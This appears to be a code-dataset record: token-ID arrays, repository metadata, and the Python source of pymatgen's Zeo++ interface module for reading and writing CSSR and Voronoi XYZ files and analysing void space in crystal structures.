14, 16, 272, 13292, 275, 334, 15349, 446, 3628, 63, 569, 9, 272, 634, 275, 446, 1590, 14, 1838, 8, 3512, 63, 569, 627, 980, 14, 793, 8, 15349, 435, 413, 14, 16, 69, 13, 1165, 395, 3114, 29, 17, 9, 272, 372, 634, 12, 13292, 819, 347, 485, 396, 56, 484, 8, 277, 12, 980, 63, 3179, 12, 980, 63, 3512, 304, 272, 980, 63, 4358, 12, 980, 63, 31113, 275, 291, 423, 1590, 56, 484, 8, 1590, 63, 3179, 12, 980, 63, 3512, 9, 272, 543, 291, 14, 396, 63, 1730, 8, 1180, 63, 6477, 29, 549, 9, 465, 4043, 26, 489, 5621, 12, 1771, 4469, 275, 3805, 63, 4411, 63, 1483, 423, 4421, 63, 16395, 63, 7925, 63, 10435, 63, 1045, 63, 10492, 8, 881, 980, 63, 3179, 12, 980, 63, 3512, 9, 489, 2833, 63, 4358, 12, 2833, 63, 31113, 275, 4043, 14, 1065, 779, 4358, 12, 1771, 4469, 566, 272, 291, 14, 7260, 31497, 13153, 8, 1590, 63, 4358, 12, 2833, 63, 4358, 9, 272, 291, 14, 7260, 31497, 13153, 8, 1590, 63, 31113, 12, 2833, 63, 31113, 9, 819, 347, 511, 7200, 2543, 8, 277, 304, 272, 367, 1768, 63, 2271, 315, 980, 14, 442, 708, 12, 980, 14, 442, 772, 26, 489, 543, 291, 14, 396, 63, 1730, 8, 1180, 63, 6477, 29, 549, 9, 465, 4043, 26, 267, 5621, 12, 1771, 4469, 275, 3805, 63, 4411, 63, 1483, 423, 4421, 63, 16395, 63, 7925, 63, 10435, 63, 1045, 63, 10492, 8, 288, 980, 14, 1144, 4038, 17, 8333, 5243, 17, 8333, 359, 16, 19450, 14, 6041, 8, 1590, 14, 1609, 708, 395, 288, 980, 14, 1144, 779, 16, 12, 378, 12, 378, 6575, 6041, 8, 1302, 63, 2271, 430, 267, 2833, 63, 4358, 12, 2833, 63, 31113, 275, 4043, 14, 1065, 779, 4358, 12, 1771, 4469, 566, 489, 291, 14, 7260, 779, 16, 14, 16, 12, 378, 14, 16, 12, 378, 14, 16, 467, 2833, 63, 4358, 9, 489, 291, 14, 7260, 4038, 16, 14, 16, 467, 359, 16, 14, 16, 467, 359, 16, 14, 16, 2365, 2833, 63, 31113, 9, 819, 347, 511, 3364, 4314, 8, 277, 304, 272, 4534, 275, 3474, 17, 2020, 413, 2020, 413, 2020, 413, 8333, 359, 17, 2020, 413, 2020, 413, 2020, 413, 8333, 359, 17, 2020, 499, 2020, 650, 2020, 841, 8333, 355, 359, 17, 2020, 499, 2020, 650, 2020, 841, 28132, 272, 3628, 275, 359, 20, 12, 650, 12, 378, 12, 446, 17, 61, 339, 340, 511, 14, 374, 63, 11730, 63, 1045, 63, 16309, 342, 436, 511, 14, 374, 63, 6477, 63, 4561, 837, 489, 543, 291, 14, 396, 63, 1730, 8, 1180, 63, 6477, 29, 549 ]
[ 1898, 6900, 710, 9134, 6642, 14, 2900, 5924, 5702, 14, 199, 3, 199, 3, 3909, 1334, 314, 3668, 844, 12, 3394, 499, 14, 16, 334, 1589, 298, 3761, 3547, 199, 3, 1265, 1443, 440, 675, 642, 570, 871, 315, 4151, 543, 314, 844, 14, 199, 3, 2047, 1443, 3332, 282, 1331, 402, 314, 844, 737, 199, 3, 199, 3, 258, 1455, 921, 1544, 14, 3796, 14, 1308, 15, 2383, 15, 3961, 13, 18, 14, 16, 199, 3, 199, 3, 4158, 1415, 701, 3964, 4179, 503, 4193, 370, 315, 3575, 12, 2032, 199, 3, 1854, 1334, 314, 844, 365, 1854, 641, 376, 298, 1179, 2281, 2, 4207, 12, 199, 3, 2428, 2990, 1549, 4217, 1634, 1821, 3826, 12, 1902, 4056, 503, 2478, 14, 199, 3, 1666, 314, 844, 367, 314, 2488, 2637, 4210, 3443, 436, 199, 3, 4204, 1334, 314, 844, 14, 199, 3, 11148, 199, 624, 2925, 367, 14531, 19302, 988, 14072, 31224, 3007, 2445, 1405, 1687, 1041, 199, 199, 504, 636, 2443, 363, 492, 3679, 63, 646, 199, 504, 636, 2443, 363, 492, 4629, 199, 504, 636, 2443, 363, 492, 870, 63, 1593, 199, 199, 646, 984, 199, 646, 900, 199, 199, 646, 2680, 465, 980, 199, 199, 504, 3228, 14, 1018, 14, 7204, 492, 1101, 63, 3317, 18, 199, 504, 3228, 14, 1548, 14, 1258, 492, 2351, 199, 504, 3228, 14, 1548, 14, 4857, 492, 4413, 63, 411, 199, 504, 3228, 14, 1548, 14, 4857, 492, 6674, 199, 504, 3228, 14, 1548, 14, 4857, 492, 2552, 63, 5472, 199, 504, 3228, 14, 1548, 14, 4857, 492, 4156, 465, 4156, 63, 773, 199, 504, 3228, 14, 1548, 14, 1483, 492, 1625, 63, 1483, 199, 504, 3228, 14, 1548, 14, 1483, 492, 3805, 63, 4411, 63, 1483, 199, 504, 3228, 14, 1548, 14, 1483, 492, 6709, 63, 6743, 199, 504, 3228, 14, 1548, 14, 1483, 492, 12661, 63, 5472, 199, 504, 3228, 14, 1548, 14, 1483, 492, 3473, 63, 1483, 199, 504, 3228, 14, 1548, 14, 1483, 492, 11542, 63, 1483, 199, 504, 3228, 14, 1548, 14, 1483, 492, 2196, 63, 1483, 199, 504, 3228, 14, 1548, 14, 1483, 492, 5178, 63, 1483, 199, 504, 3228, 14, 1548, 14, 1483, 492, 2860, 199, 646, 3228, 14, 1548, 14, 1483, 14, 4411, 63, 6017, 221, 327, 4287, 26, 3507, 29, 8618, 13, 646, 199, 504, 3228, 14, 1548, 14, 3246, 492, 1145, 199, 504, 3228, 14, 1548, 14, 3246, 492, 511, 421, 199, 533, 14531, 56, 484, 774, 8, 396, 14, 1746, 304, 819, 347, 485, 1590, 56, 484, 8, 277, 12, 4534, 12, 3628, 304, 272, 4534, 275, 980, 14, 5217, 8, 3179, 12, 5243, 17, 12, 4534, 14, 1392, 1988, 17, 3934, 272, 3628, 275, 980, 14, 5217, 8, 3512, 12, 5243, 17, 566, 272, 3522, 63, 3572, 275, 378, 272, 1021, 63, 3572, 275, 413, 272, 3522, 63, 890, 275, 4534, 14, 1392, 59, 2912, 63, 3572, 61, 272, 325, 275, 980, 14, 1474, 8, 3179, 446, 980, 14, 5217, 8, 267, 980, 14, 65, 988, 8, 288, 4534, 12, 3114, 29, 533, 63, 3572, 395, 359, 2912, 63, 890, 12, 413, 2459, 272, 24329, 275, 325, 1182, 980, 14, 5217, 8, 1590, 14, 1838, 8, 69, 12, 3114, 29, 533, 63, 3572, 395, 359, 2912, 63, 890, 12, 413, 566, 272, 3628, 63, 569, 275, 980, 14, 4250, 63, 2930, 8, 15349, 680, 6041, 8, 15349, 14, 2271, 9, 272, 3628, 63, 569, 59, 1590, 14, 5605, 8, 2912, 63, 890, 395, 3628, 61, 275, 413, 14, 16, 272, 13292, 275, 334, 15349, 446, 3628, 63, 569, 9, 272, 634, 275, 446, 1590, 14, 1838, 8, 3512, 63, 569, 627, 980, 14, 793, 8, 15349, 435, 413, 14, 16, 69, 13, 1165, 395, 3114, 29, 17, 9, 272, 372, 634, 12, 13292, 819, 347, 485, 396, 56, 484, 8, 277, 12, 980, 63, 3179, 12, 980, 63, 3512, 304, 272, 980, 63, 4358, 12, 980, 63, 31113, 275, 291, 423, 1590, 56, 484, 8, 1590, 63, 3179, 12, 980, 63, 3512, 9, 272, 543, 291, 14, 396, 63, 1730, 8, 1180, 63, 6477, 29, 549, 9, 465, 4043, 26, 489, 5621, 12, 1771, 4469, 275, 3805, 63, 4411, 63, 1483, 423, 4421, 63, 16395, 63, 7925, 63, 10435, 63, 1045, 63, 10492, 8, 881, 980, 63, 3179, 12, 980, 63, 3512, 9, 489, 2833, 63, 4358, 12, 2833, 63, 31113, 275, 4043, 14, 1065, 779, 4358, 12, 1771, 4469, 566, 272, 291, 14, 7260, 31497, 13153, 8, 1590, 63, 4358, 12, 2833, 63, 4358, 9, 272, 291, 14, 7260, 31497, 13153, 8, 1590, 63, 31113, 12, 2833, 63, 31113, 9, 819, 347, 511, 7200, 2543, 8, 277, 304, 272, 367, 1768, 63, 2271, 315, 980, 14, 442, 708, 12, 980, 14, 442, 772, 26, 489, 543, 291, 14, 396, 63, 1730, 8, 1180, 63, 6477, 29, 549, 9, 465, 4043, 26, 267, 5621, 12, 1771, 4469, 275, 3805, 63, 4411, 63, 1483, 423, 4421, 63, 16395, 63, 7925, 63, 10435, 63, 1045, 63, 10492, 8, 288, 980, 14, 1144, 4038, 17, 8333, 5243, 17, 8333, 359, 16, 19450, 14, 6041, 8, 1590, 14, 1609, 708, 395, 288, 980, 14, 1144, 779, 16, 12, 378, 12, 378, 6575, 6041, 8, 1302, 63, 2271, 430, 267, 2833, 63, 4358, 12, 2833, 63, 31113, 275, 4043, 14, 1065, 779, 4358, 12, 1771, 4469, 566, 489, 291, 14, 7260, 779, 16, 14, 16, 12, 378, 14, 16, 12, 378, 14, 16, 467, 2833, 63, 4358, 9, 489, 291, 14, 7260, 4038, 16, 14, 16, 467, 359, 16, 14, 16, 467, 359, 16, 14, 16, 2365, 2833, 63, 31113, 9, 819, 347, 511, 3364, 4314, 8, 277, 304, 272, 4534, 275, 3474, 17, 2020, 413, 2020, 413, 2020, 413, 8333, 359, 17, 2020, 413, 2020, 413, 2020, 413, 8333, 359, 17, 2020, 499, 2020, 650, 2020, 841, 8333, 355, 359, 17, 2020, 499, 2020, 650, 2020, 841, 28132, 272, 3628, 275, 359, 20, 12, 650, 12, 378, 12, 446, 17, 61, 339, 340, 511, 14, 374, 63, 11730, 63, 1045, 63, 16309, 342, 436, 511, 14, 374, 63, 6477, 63, 4561, 837, 489, 543, 291, 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, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1 ]
blondegeek/pymatgen
pymatgen/io/zeopp.py
2
18888
# coding: utf-8 # Copyright (c) Pymatgen Development Team. # Distributed under the terms of the MIT License. import os import re from monty.io import zopen from monty.dev import requires from monty.tempfile import ScratchDir from pymatgen.core.structure import Structure, Molecule from pymatgen.core.lattice import Lattice from pymatgen.io.cssr import Cssr from pymatgen.io.xyz import XYZ try: from zeo.netstorage import AtomNetwork, VoronoiNetwork from zeo.area_volume import volume, surface_area from zeo.cluster import get_nearest_largest_diameter_highaccuracy_vornode, \ generate_simplified_highaccuracy_voronoi_network, \ prune_voronoi_network_close_node zeo_found = True except ImportError: zeo_found = False """ Module implementing classes and functions to use Zeo++. Zeo++ Installation Steps: ======================== 1) Zeo++ requires Voro++. Download Voro++ from code.lbl.gov using subversion: "svn checkout --username anonsvn https://code.lbl.gov/svn/voro/trunk Password is anonsvn. 2) Stable version of Zeo++ can be obtained from http://www.maciejharanczyk.info/Zeopp/ Alternatively it can be obtained from code.lbl.gov. Replace voro with zeo. 3) (Optional) Install cython from pip Mac OS X: 4) (a) Edit the Voro++/voro/trunk/config.mk file to suit your environment (compiler, linker). (b) Run make command 5) (a) Edit the Zeo++/trunk/cython_wrapper/setup.py to correctly point to Voro++ directory. (b) Run "python setup.py develop" to install Zeo++ python bindings. Be patient, it will take a while. Linux: 4) (a) Edit the Voro++/voro/trunk/config.mk file to suit your environment. (b) Also add -fPIC option to CFLAGS variable in config.mk file. (c) Run make command 5) (a) Go to Zeo++/zeo/trunk folder and compile zeo++ library using the command "make dylib". (b) Edit the Zeo++/trunk/cython_wrapper/setup_alt.py to correctly point to Voro++ directory. (c) Run "python setup_alt.py develop" to install Zeo++ python bindings. Zeo++ Post-Installation Checking: ============================== 1) Go to pymatgen/io/tests and run "python test_zeoio.py" If Zeo++ python bindings are properly installed, the tests should pass. One or two tests will be skipped. b) Go to pymatgen/analysis/defects/tests and run "python test_point_defects.py". Lots of tests will be skipped if GULP is not installed. But there should be no errors. """ __author__ = "Bharat Medasani" __copyright = "Copyright 2013, The Materials Project" __version__ = "0.1" __maintainer__ = "Bharat Medasani" __email__ = "mbkumar@gmail.com" __data__ = "Aug 2, 2013" class ZeoCssr(Cssr): """ ZeoCssr adds extra fields to CSSR sites to conform with Zeo++ input CSSR format. The coordinate system is rorated from xyz to zyx. This change aligns the pivot axis of pymatgen (z-axis) to pivot axis of Zeo++ (x-axis) for structurural modifications. Args: structure: A structure to create ZeoCssr object """ def __init__(self, structure): super().__init__(structure) def __str__(self): """ CSSR.__str__ method is modified to padd 0's to the CSSR site data. The padding is to conform with the CSSR format supported Zeo++. The oxidation state is stripped from site.specie Also coordinate system is rotated from xyz to zxy """ output = [ "{:.4f} {:.4f} {:.4f}" # .format(*self.structure.lattice.abc), .format(self.structure.lattice.c, self.structure.lattice.a, self.structure.lattice.b), "{:.2f} {:.2f} {:.2f} SPGR = 1 P 1 OPT = 1" # .format(*self.structure.lattice.angles), .format(self.structure.lattice.gamma, self.structure.lattice.alpha, self.structure.lattice.beta), "{} 0".format(len(self.structure)), "0 {}".format(self.structure.formula) ] for i, site in enumerate(self.structure.sites): # if not hasattr(site, 'charge'): # charge = 0 # else: # charge = site.charge charge = site.charge if hasattr(site, 'charge') else 0 # specie = site.specie.symbol specie = site.species_string output.append( "{} {} {:.4f} {:.4f} {:.4f} 0 0 0 0 0 0 0 0 {:.4f}" .format( i + 1, specie, site.c, site.a, site.b, charge # i+1, site.specie, site.a, site.b, site.c, site.charge ) ) return "\n".join(output) @staticmethod def from_string(string): """ Reads a string representation to a ZeoCssr object. Args: string: A string representation of a ZeoCSSR. Returns: ZeoCssr object. """ lines = string.split("\n") toks = lines[0].split() lengths = [float(i) for i in toks] toks = lines[1].split() angles = [float(i) for i in toks[0:3]] # Zeo++ takes x-axis along a and pymatgen takes z-axis along c a = lengths.pop(-1) lengths.insert(0, a) alpha = angles.pop(-1) angles.insert(0, alpha) latt = Lattice.from_lengths_and_angles(lengths, angles) sp = [] coords = [] chrg = [] for l in lines[4:]: m = re.match(r'\d+\s+(\w+)\s+([0-9\-\.]+)\s+([0-9\-\.]+)\s+' + r'([0-9\-\.]+)\s+(?:0\s+){8}([0-9\-\.]+)', l.strip()) if m: sp.append(m.group(1)) # coords.append([float(m.group(i)) for i in xrange(2, 5)]) # Zeo++ takes x-axis along a and pymatgen takes z-axis along c coords.append([float(m.group(i)) for i in [3, 4, 2]]) chrg.append(m.group(5)) return ZeoCssr( Structure(latt, sp, coords, site_properties={'charge': chrg}) ) @staticmethod def from_file(filename): """ Reads a CSSR file to a ZeoCssr object. Args: filename: Filename to read from. Returns: ZeoCssr object. """ with zopen(filename, "r") as f: return ZeoCssr.from_string(f.read()) class ZeoVoronoiXYZ(XYZ): """ Class to read Voronoi Nodes from XYZ file written by Zeo++. The sites have an additional column representing the voronoi node radius. The voronoi node radius is represented by the site property voronoi_radius. Args: mol: Input molecule holding the voronoi node information """ def __init__(self, mol): super().__init__(mol) @staticmethod def from_string(contents): """ Creates Zeo++ Voronoi XYZ object from a string. from_string method of XYZ class is being redefined. Args: contents: String representing Zeo++ Voronoi XYZ file. Returns: ZeoVoronoiXYZ object """ lines = contents.split("\n") num_sites = int(lines[0]) coords = [] sp = [] prop = [] coord_patt = re.compile( r"(\w+)\s+([0-9\-\.]+)\s+([0-9\-\.]+)\s+([0-9\-\.]+)\s+" + r"([0-9\-\.]+)" ) for i in range(2, 2 + num_sites): m = coord_patt.search(lines[i]) if m: sp.append(m.group(1)) # this is 1-indexed # coords.append(map(float, m.groups()[1:4])) # this is 0-indexed coords.append([float(j) for j in [m.group(i) for i in [3, 4, 2]]]) prop.append(float(m.group(5))) return ZeoVoronoiXYZ( Molecule(sp, coords, site_properties={'voronoi_radius': prop}) ) @staticmethod def from_file(filename): """ Creates XYZ object from a file. Args: filename: XYZ filename Returns: XYZ object """ with zopen(filename) as f: return ZeoVoronoiXYZ.from_string(f.read()) def __str__(self): output = [str(len(self._mol)), self._mol.composition.formula] fmtstr = "{{}} {{:.{0}f}} {{:.{0}f}} {{:.{0}f}} {{:.{0}f}}".format( self.precision ) for site in self._mol: output.append(fmtstr.format( site.specie.symbol, site.z, site.x, site.y, # site.specie, site.x, site.y, site.z, site.properties['voronoi_radius'] )) return "\n".join(output) @requires(zeo_found, "get_voronoi_nodes requires Zeo++ cython extension to be " "installed. Please contact developers of Zeo++ to obtain it.") def get_voronoi_nodes(structure, rad_dict=None, probe_rad=0.1): """ Analyze the void space in the input structure using voronoi decomposition Calls Zeo++ for Voronoi decomposition. Args: structure: pymatgen.core.structure.Structure rad_dict (optional): Dictionary of radii of elements in structure. If not given, Zeo++ default values are used. Note: Zeo++ uses atomic radii of elements. For ionic structures, pass rad_dict with ionic radii probe_rad (optional): Sampling probe radius in Angstroms. Default is 0.1 A Returns: voronoi nodes as pymatgen.core.structure.Strucutre within the unit cell defined by the lattice of input structure voronoi face centers as pymatgen.core.structure.Strucutre within the unit cell defined by the lattice of input structure """ with ScratchDir('.'): name = "temp_zeo1" zeo_inp_filename = name + ".cssr" ZeoCssr(structure).write_file(zeo_inp_filename) rad_file = None rad_flag = False if rad_dict: rad_file = name + ".rad" rad_flag = True with open(rad_file, 'w+') as fp: for el in rad_dict.keys(): fp.write("{} {}\n".format(el, rad_dict[el].real)) atmnet = AtomNetwork.read_from_CSSR( zeo_inp_filename, rad_flag=rad_flag, rad_file=rad_file) vornet, vor_edge_centers, vor_face_centers = \ atmnet.perform_voronoi_decomposition() vornet.analyze_writeto_XYZ(name, probe_rad, atmnet) voro_out_filename = name + '_voro.xyz' voro_node_mol = ZeoVoronoiXYZ.from_file(voro_out_filename).molecule species = ["X"] * len(voro_node_mol.sites) coords = [] prop = [] for site in voro_node_mol.sites: coords.append(list(site.coords)) prop.append(site.properties['voronoi_radius']) lattice = Lattice.from_lengths_and_angles( structure.lattice.abc, structure.lattice.angles) vor_node_struct = Structure( lattice, species, coords, coords_are_cartesian=True, to_unit_cell=True, site_properties={"voronoi_radius": prop}) # PMG-Zeo c<->a transformation for voronoi face centers rot_face_centers = [(center[1], center[2], center[0]) for center in vor_face_centers] rot_edge_centers = [(center[1], center[2], center[0]) for center in vor_edge_centers] species = ["X"] * len(rot_face_centers) prop = [0.0] * len(rot_face_centers) # Vor radius not evaluated for fc vor_facecenter_struct = Structure( lattice, species, rot_face_centers, coords_are_cartesian=True, to_unit_cell=True, site_properties={"voronoi_radius": prop}) species = ["X"] * len(rot_edge_centers) prop = [0.0] * len(rot_edge_centers) # Vor radius not evaluated for fc vor_edgecenter_struct = Structure( lattice, species, rot_edge_centers, coords_are_cartesian=True, to_unit_cell=True, site_properties={"voronoi_radius": prop}) return vor_node_struct, vor_edgecenter_struct, vor_facecenter_struct def get_high_accuracy_voronoi_nodes(structure, rad_dict, probe_rad=0.1): """ Analyze the void space in the input structure using high accuracy voronoi decomposition. Calls Zeo++ for Voronoi decomposition. Args: structure: pymatgen.core.structure.Structure rad_dict (optional): Dictionary of radii of elements in structure. If not given, Zeo++ default values are used. Note: Zeo++ uses atomic radii of elements. For ionic structures, pass rad_dict with ionic radii probe_rad (optional): Sampling probe radius in Angstroms. Default is 0.1 A Returns: voronoi nodes as pymatgen.core.structure.Strucutre within the unit cell defined by the lattice of input structure voronoi face centers as pymatgen.core.structure.Strucutre within the unit cell defined by the lattice of input structure """ with ScratchDir('.'): name = "temp_zeo1" zeo_inp_filename = name + ".cssr" ZeoCssr(structure).write_file(zeo_inp_filename) rad_flag = True rad_file = name + ".rad" with open(rad_file, 'w+') as fp: for el in rad_dict.keys(): print("{} {}".format(el, rad_dict[el].real), file=fp) atmnet = AtomNetwork.read_from_CSSR( zeo_inp_filename, rad_flag=rad_flag, rad_file=rad_file) # vornet, vor_edge_centers, vor_face_centers = \ # atmnet.perform_voronoi_decomposition() red_ha_vornet = \ prune_voronoi_network_close_node(atmnet) # generate_simplified_highaccuracy_voronoi_network(atmnet) # get_nearest_largest_diameter_highaccuracy_vornode(atmnet) red_ha_vornet.analyze_writeto_XYZ(name, probe_rad, atmnet) voro_out_filename = name + '_voro.xyz' voro_node_mol = ZeoVoronoiXYZ.from_file(voro_out_filename).molecule species = ["X"] * len(voro_node_mol.sites) coords = [] prop = [] for site in voro_node_mol.sites: coords.append(list(site.coords)) prop.append(site.properties['voronoi_radius']) lattice = Lattice.from_lengths_and_angles( structure.lattice.abc, structure.lattice.angles) vor_node_struct = Structure( lattice, species, coords, coords_are_cartesian=True, to_unit_cell=True, site_properties={"voronoi_radius": prop}) return vor_node_struct @requires(zeo_found, "get_voronoi_nodes requires Zeo++ cython extension to be " "installed. Please contact developers of Zeo++ to obtain it.") def get_free_sphere_params(structure, rad_dict=None, probe_rad=0.1): """ Analyze the void space in the input structure using voronoi decomposition Calls Zeo++ for Voronoi decomposition. Args: structure: pymatgen.core.structure.Structure rad_dict (optional): Dictionary of radii of elements in structure. If not given, Zeo++ default values are used. Note: Zeo++ uses atomic radii of elements. For ionic structures, pass rad_dict with ionic radii probe_rad (optional): Sampling probe radius in Angstroms. Default is 0.1 A Returns: voronoi nodes as pymatgen.core.structure.Strucutre within the unit cell defined by the lattice of input structure voronoi face centers as pymatgen.core.structure.Strucutre within the unit cell defined by the lattice of input structure """ with ScratchDir('.'): name = "temp_zeo1" zeo_inp_filename = name + ".cssr" ZeoCssr(structure).write_file(zeo_inp_filename) rad_file = None rad_flag = False if rad_dict: rad_file = name + ".rad" rad_flag = True with open(rad_file, 'w+') as fp: for el in rad_dict.keys(): fp.write("{} {}\n".format(el, rad_dict[el].real)) atmnet = AtomNetwork.read_from_CSSR( zeo_inp_filename, rad_flag=rad_flag, rad_file=rad_file) out_file = "temp.res" atmnet.calculate_free_sphere_parameters(out_file) if os.path.isfile(out_file) and os.path.getsize(out_file) > 0: with open(out_file, "rt") as fp: output = fp.readline() else: output = "" fields = [val.strip() for val in output.split()][1:4] if len(fields) == 3: fields = [float(field) for field in fields] free_sphere_params = {'inc_sph_max_dia': fields[0], 'free_sph_max_dia': fields[1], 'inc_sph_along_free_sph_path_max_dia': fields[2]} return free_sphere_params # Deprecated. Not needed anymore def get_void_volume_surfarea(structure, rad_dict=None, chan_rad=0.3, probe_rad=0.1): """ Computes the volume and surface area of isolated void using Zeo++. Useful to compute the volume and surface area of vacant site. Args: structure: pymatgen Structure containing vacancy rad_dict(optional): Dictionary with short name of elements and their radii. chan_rad(optional): Minimum channel Radius. probe_rad(optional): Probe radius for Monte Carlo sampling. Returns: volume: floating number representing the volume of void """ with ScratchDir('.'): name = "temp_zeo" zeo_inp_filename = name + ".cssr" ZeoCssr(structure).write_file(zeo_inp_filename) rad_file = None if rad_dict: rad_file = name + ".rad" with open(rad_file, 'w') as fp: for el in rad_dict.keys(): fp.write("{0} {1}".format(el, rad_dict[el])) atmnet = AtomNetwork.read_from_CSSR(zeo_inp_filename, True, rad_file) vol_str = volume(atmnet, 0.3, probe_rad, 10000) sa_str = surface_area(atmnet, 0.3, probe_rad, 10000) vol = None sa = None for line in vol_str.split("\n"): if "Number_of_pockets" in line: fields = line.split() if float(fields[1]) > 1: vol = -1.0 break if float(fields[1]) == 0: vol = -1.0 break vol = float(fields[3]) for line in sa_str.split("\n"): if "Number_of_pockets" in line: fields = line.split() if float(fields[1]) > 1: # raise ValueError("Too many voids") sa = -1.0 break if float(fields[1]) == 0: sa = -1.0 break sa = float(fields[3]) if not vol or not sa: raise ValueError("Error in zeo++ output stream") return vol, sa
mit
[ 3, 2803, 26, 2774, 13, 24, 199, 3, 1898, 334, 67, 9, 1611, 30649, 15290, 11682, 14, 199, 3, 17484, 1334, 314, 2895, 402, 314, 10697, 844, 14, 421, 199, 646, 747, 199, 646, 295, 199, 199, 504, 3485, 369, 14, 2308, 492, 1315, 1490, 199, 504, 3485, 369, 14, 2374, 492, 5074, 199, 504, 3485, 369, 14, 17336, 492, 428, 1556, 693, 3567, 199, 199, 504, 1134, 30649, 14, 1018, 14, 6976, 492, 21730, 12, 3930, 14413, 199, 504, 1134, 30649, 14, 1018, 14, 25553, 492, 491, 292, 3548, 199, 504, 1134, 30649, 14, 2308, 14, 3919, 82, 492, 445, 385, 82, 199, 504, 1134, 30649, 14, 2308, 14, 8568, 492, 1323, 26184, 199, 199, 893, 26, 272, 687, 29986, 79, 14, 846, 3494, 492, 18840, 4491, 12, 812, 269, 265, 16142, 4491, 272, 687, 29986, 79, 14, 6789, 63, 2405, 492, 3301, 12, 13195, 63, 6789, 272, 687, 29986, 79, 14, 4201, 492, 664, 63, 16615, 63, 9828, 3199, 63, 328, 1787, 63, 6260, 13374, 63, 14419, 932, 12, 971, 267, 3550, 63, 11184, 30200, 63, 6260, 13374, 63, 14419, 265, 16142, 63, 1200, 12, 971, 267, 27619, 63, 14419, 265, 16142, 63, 1200, 63, 1600, 63, 932, 339, 29986, 79, 63, 4214, 275, 715, 199, 2590, 3545, 26, 272, 29986, 79, 63, 4214, 275, 756, 199, 199, 624, 199, 2377, 18234, 3992, 436, 3423, 370, 675, 3107, 20805, 4176, 14, 199, 199, 58, 20805, 4176, 26866, 428, 6224, 26, 199, 1280, 763, 199, 17, 9, 3107, 20805, 4176, 5074, 812, 269, 79, 4176, 14, 17955, 812, 269, 79, 4176, 687, 1233, 14, 18842, 14, 16294, 1808, 2043, 1007, 1023, 26, 2043, 298, 6836, 15243, 1553, 2473, 24757, 6836, 4178, 921, 600, 14, 18842, 14, 16294, 15, 6836, 15, 14419, 79, 15, 13409, 2043, 13635, 365, 24757, 6836, 14, 199, 18, 9, 428, 1224, 1015, 402, 3107, 20805, 4176, 883, 506, 15884, 687, 2043, 1455, 921, 1544, 14, 391, 559, 69, 74, 8210, 18595, 3605, 75, 14, 815, 15, 58, 69, 26740, 15, 2043, 26776, 652, 883, 506, 15884, 687, 1233, 14, 18842, 14, 16294, 14, 14402, 373, 269, 79, 2043, 543, 29986, 79, 14, 199, 19, 9, 334, 7012, 9, 13276, 29348, 687, 7305, 199, 3399, 4403, 1323, 26, 199, 20, 9, 334, 65, 9, 16407, 314, 812, 269, 79, 4176, 15, 14419, 79, 15, 13409, 15, 888, 14, 3880, 570, 370, 308, 4993, 2195, 3734, 2043, 334, 5772, 12, 17261, 680, 2043, 334, 66, 9, 3378, 1852, 1414, 199, 21, 9, 334, 65, 9, 16407, 314, 3107, 20805, 4176, 15, 13409, 15, 20747, 63, 5029, 15, 2758, 14, 647, 370, 6657, 2376, 370, 2043, 812, 269, 79, 4176, 2082, 14, 2043, 334, 66, 9, 3378, 298, 1548, 3272, 14, 647, 477, 7549, 2, 370, 3907, 3107, 20805, 4176, 2366, 17792, 14, 2043, 6423, 30905, 12, 652, 911, 5452, 282, 1830, 14, 199, 14091, 26, 199, 20, 9, 334, 65, 9, 16407, 314, 812, 269, 79, 4176, 15, 14419, 79, 15, 13409, 15, 888, 14, 3880, 570, 370, 308, 4993, 2195, 3734, 14, 2043, 334, 66, 9, 6121, 1050, 446, 70, 26769, 945, 370, 25149, 1750, 315, 1101, 14, 3880, 570, 14, 2043, 334, 67, 9, 3378, 1852, 1414, 199, 21, 9, 334, 65, 9, 3971, 370, 3107, 20805, 4176, 15, 806, 79, 15, 13409, 4922, 436, 6555, 29986, 79, 4176, 3555, 1808, 314, 2043, 1414, 298, 1875, 13119, 773, 1674, 2043, 334, 66, 9, 16407, 314, 3107, 20805, 4176, 15, 13409, 15, 20747, 63, 5029, 15, 2758, 63, 4478, 14, 647, 370, 6657, 2043, 2376, 370, 812, 269, 79, 4176, 2082, 14, 2043, 334, 67, 9, 3378, 298, 1548, 3272, 63, 4478, 14, 647, 477, 7549, 2, 370, 3907, 3107, 20805, 4176, 2366, 17792, 14, 199, 199, 58, 20805, 4176, 7711, 13, 31456, 25109, 26, 199, 1280, 17224, 199, 17, 9, 3971, 370, 1134, 30649, 15, 2308, 15, 2219, 436, 1255, 298, 1548, 511, 63, 806, 79, 2308, 14, 647, 2, 2043, 982, 3107, 20805, 4176, 2366, 17792, 787, 7684, 4903, 12, 314, 2295, 1077, 2043, 986, 14, 7309, 503, 2877, 2295, 911, 506, 9645, 14, 199, 66, 9, 3971, 370, 1134, 30649, 15, 10466, 15, 25546, 83, 15, 2219, 436, 1255, 2043, 298, 1548, 511, 63, 1403, 63, 25546, 83, 14, 647, 1674, 491, 16673, 402, 2295, 911, 506, 9645, 340, 598, 1293, 48, 2043, 365, 440, 4903, 14, 11017, 2337, 1077, 506, 949, 2552, 14, 199, 624, 199, 199, 363, 2502, 363, 275, 298, 34, 8210, 292, 603, 379, 305, 26455, 2, 199, 363, 7307, 275, 298, 7384, 6171, 12, 710, 26570, 83, 7290, 2, 199, 363, 1023, 363, 275, 298, 16, 14, 17, 2, 199, 363, 26665, 363, 275, 298, 34, 8210, 292, 603, 379, 305, 26455, 2, 199, 363, 2123, 363, 275, 298, 887, 75, 453, 285, 32, 6799, 14, 957, 2, 199, 363, 576, 363, 275, 298, 21640, 499, 12, 6171, 2, 421, 199, 533, 3107, 20805, 35, 385, 82, 8, 35, 385, 82, 304, 272, 408, 272, 3107, 20805, 35, 385, 82, 9584, 2402, 1504, 370, 15750, 50, 15424, 370, 26449, 543, 3107, 20805, 4176, 272, 1324, 15750, 50, 1475, 14, 710, 10021, 2656, 365, 221, 451, 972, 687, 24122, 370, 1315, 20937, 14, 272, 961, 1570, 741, 28530, 314, 22292, 3114, 402, 1134, 30649, 334, 90, 13, 3127, 9, 370, 22292, 3114, 272, 402, 3107, 20805, 4176, 334, 88, 13, 3127, 9, 367, 2702, 300, 4889, 23070, 14, 339, 3033, 26, 267, 5523, 26, 437, 5523, 370, 1218, 3107, 20805, 35, 385, 82, 909, 272, 408, 339, 347, 636, 826, 721, 277, 12, 5523, 304, 267, 1613, 11027, 826, 721, 6976, 9, 339, 347, 636, 495, 721, 277, 304, 267, 408, 267, 15750, 50, 855, 495, 363, 1083, 365, 6042, 370, 299, 525, 378, 1159, 370, 314, 15750, 50, 4770, 666, 14, 267, 710, 